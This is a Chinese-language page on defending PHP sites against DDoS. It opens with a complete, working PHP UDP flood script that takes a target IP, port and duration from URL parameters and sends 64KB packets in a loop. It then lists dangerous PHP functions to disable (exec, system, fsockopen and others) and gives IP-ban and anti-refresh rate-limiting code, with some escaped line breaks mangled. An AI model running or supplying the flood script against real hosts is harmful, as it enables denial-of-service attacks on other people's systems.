PHP DDos的几个防御方法详解

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen

//查询禁止IP 
$ip =$_SERVER['REMOTE_ADDR']; 
$fileht=".htaccess2"; 
if(!file_exists($fileht))file_put_contents($fileht,""); 
$filehtarr=@file($fileht); 
if(in_array($ip."rn",$filehtarr))die("Warning:"."
"."Your IP address are forbided by some reason, IF you have any question Pls emill to [email protected]!"); 

//加入禁止IP 
$time=time(); 
$fileforbid="log/forbidchk.dat"; 
if(file_exists($fileforbid)) 
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid); 
else{ 
$fileforbidarr=@file($fileforbid); 
if($ip==substr($fileforbidarr[0],0,strlen($ip))) 
{ 
if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid); 
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);} 
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);} 
} 
} 
} 
//防刷新 
$str=""; 
$file="log/ipdate.dat"; 
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777); 
if(!file_exists($file))file_put_contents($file,""); 
$allowTime = 120;//防刷新时间 
$allowNum=10;//防刷新次数 
$uri=$_SERVER['REQUEST_URI']; 
$checkip=md5($ip); 
$checkuri=md5($uri); 
$yesno=true; 
$ipdate=@file($file); 
foreach($ipdate as $k=>$v) 
{ $iptem=substr($v,0,32); 
$uritem=substr($v,32,32); 
$timetem=substr($v,64,10); 
$numtem=substr($v,74); 
if($time-$timetem<$allowTime){ 
if($iptem!=$checkip)$str.=$v; 
else{ 
$yesno=false; 
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn"; 
elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn"; 
else 
{ 
if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);} 
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND); 
$timepass=$timetem+$allowTime-$time; 
die("Warning:"."
"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!"); 
} 
} 
} 
} 
if($yesno) $str.=$checkip.$checkuri.$time."1rn"; 
file_put_contents($file,$str); 
?>